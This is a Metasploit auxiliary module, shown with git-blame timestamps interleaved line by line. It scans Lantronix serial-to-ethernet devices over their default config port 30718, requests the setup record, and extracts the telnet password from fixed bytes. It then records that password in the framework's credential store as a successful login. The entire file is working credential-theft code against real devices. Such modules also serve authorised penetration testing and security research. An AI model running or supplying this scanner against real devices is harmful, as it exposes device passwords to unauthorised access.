2012-10-14 17:46:52 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2012-10-14 17:46:52 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Auxiliary
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Exploit::Remote::Udp
|
|
|
|
include Msf::Auxiliary::Report
|
|
|
|
include Msf::Auxiliary::Scanner
|
2012-10-14 17:46:52 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def initialize
|
|
|
|
super(
|
|
|
|
'Name' => 'Lantronix Telnet Password Recovery',
|
|
|
|
'Description' => %q{
|
|
|
|
This module retrieves the setup record from Lantronix serial-to-ethernet
|
|
|
|
devices via the config port (30718/udp, enabled by default) and extracts the
|
|
|
|
telnet password. It has been tested successfully on a Lantronix Device Server
|
|
|
|
with software version V5.8.0.1.
|
|
|
|
},
|
|
|
|
'Author' => 'jgor',
|
|
|
|
'License' => MSF_LICENSE
|
|
|
|
)
|
2012-10-14 17:46:52 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::CHOST,
|
2015-02-22 01:22:18 +00:00
|
|
|
Opt::RPORT(30718),
|
2015-02-25 19:16:03 +00:00
|
|
|
OptBool.new('CHECK_TCP', [false , 'Check TCP instead of UDP', false])
|
2013-08-30 21:28:54 +00:00
|
|
|
], self.class)
|
|
|
|
end
|
2012-10-14 17:46:52 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def run_host(ip)
|
|
|
|
setup_probe = "\x00\x00\x00\xF8"
|
|
|
|
password = nil
|
2012-10-14 17:46:52 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
begin
|
2015-02-22 01:22:18 +00:00
|
|
|
sock_opts = {
|
2013-08-30 21:28:54 +00:00
|
|
|
'LocalHost' => datastore['CHOST'] || nil,
|
2015-02-25 19:16:03 +00:00
|
|
|
'PeerHost' => ip,
|
2013-08-30 21:28:54 +00:00
|
|
|
'PeerPort' => datastore['RPORT'],
|
2015-02-25 19:16:03 +00:00
|
|
|
'Context' => {
|
2013-08-30 21:28:54 +00:00
|
|
|
'Msf' => framework,
|
|
|
|
'MsfExploit' => self
|
2015-02-25 19:16:03 +00:00
|
|
|
}
|
2015-02-22 01:22:18 +00:00
|
|
|
}
|
|
|
|
if datastore['CHECK_TCP']
|
|
|
|
vprint_good("Checking Lantronix TCP Socket #{datastore['RPORT']} on #{ip}")
|
|
|
|
rem_sock = Rex::Socket::Tcp.create(sock_opts)
|
|
|
|
else
|
2015-02-22 07:49:54 +00:00
|
|
|
# Create an unbound UDP socket if no CHOST is specified, otherwise
|
|
|
|
# create a UDP socket bound to CHOST (in order to avail of pivoting)
|
2015-02-22 01:22:18 +00:00
|
|
|
vprint_good("Checking Lantronix UDP Socket #{datastore['RPORT']} on #{ip}")
|
|
|
|
rem_sock = Rex::Socket::Udp.create(sock_opts)
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
2015-02-22 01:22:18 +00:00
|
|
|
rem_sock.put(setup_probe)
|
|
|
|
res = rem_sock.recvfrom(65535, 0.5) and res[1]
|
|
|
|
|
|
|
|
password = parse_reply(res)
|
2013-08-30 21:28:54 +00:00
|
|
|
rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused, ::IOError
|
|
|
|
print_error("Connection error")
|
|
|
|
rescue ::Interrupt
|
|
|
|
raise $!
|
|
|
|
rescue ::Exception => e
|
|
|
|
print_error("Unknown error: #{e.class} #{e}")
|
|
|
|
ensure
|
2015-02-22 01:22:18 +00:00
|
|
|
rem_sock.close if rem_sock
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
2012-10-14 17:46:52 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
if password
|
|
|
|
if password == "\x00\x00\x00\x00"
|
|
|
|
print_status("#{rhost} - Password isn't used, or secure")
|
|
|
|
else
|
|
|
|
print_good("#{rhost} - Telnet password found: #{password.to_s}")
|
2012-11-14 05:49:45 +00:00
|
|
|
|
2015-02-25 19:16:03 +00:00
|
|
|
service_data = {
|
|
|
|
address: ip,
|
2015-02-22 07:49:54 +00:00
|
|
|
port: 9999,
|
|
|
|
service_name: 'telnet',
|
|
|
|
protocol: 'tcp',
|
|
|
|
workspace_id: myworkspace_id
|
2015-02-25 19:16:03 +00:00
|
|
|
}
|
2015-02-22 07:49:54 +00:00
|
|
|
|
2015-02-25 19:16:03 +00:00
|
|
|
credential_data = {
|
2015-02-22 07:49:54 +00:00
|
|
|
module_fullname: self.fullname,
|
|
|
|
origin_type: :service,
|
|
|
|
private_data: password.to_s,
|
|
|
|
private_type: :password
|
|
|
|
}.merge(service_data)
|
|
|
|
|
|
|
|
credential_core = create_credential(credential_data)
|
|
|
|
|
2015-02-25 19:16:03 +00:00
|
|
|
login_data = {
|
2015-02-22 07:49:54 +00:00
|
|
|
core: credential_core,
|
|
|
|
last_attempted_at: DateTime.now,
|
|
|
|
status: Metasploit::Model::Login::Status::SUCCESSFUL
|
|
|
|
}.merge(service_data)
|
|
|
|
|
|
|
|
create_credential_login(login_data)
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
2012-10-14 17:46:52 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def parse_reply(pkt)
|
|
|
|
setup_record = pkt[0]
|
2012-10-14 17:46:52 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# If response is a setup record, extract password bytes 13-16
|
|
|
|
if setup_record[3] and setup_record[3].ord == 0xF9
|
|
|
|
return setup_record[12,4]
|
|
|
|
else
|
|
|
|
return nil
|
|
|
|
end
|
|
|
|
end
|
2012-10-14 17:46:52 +00:00
|
|
|
|
2015-02-25 19:16:03 +00:00
|
|
|
end
|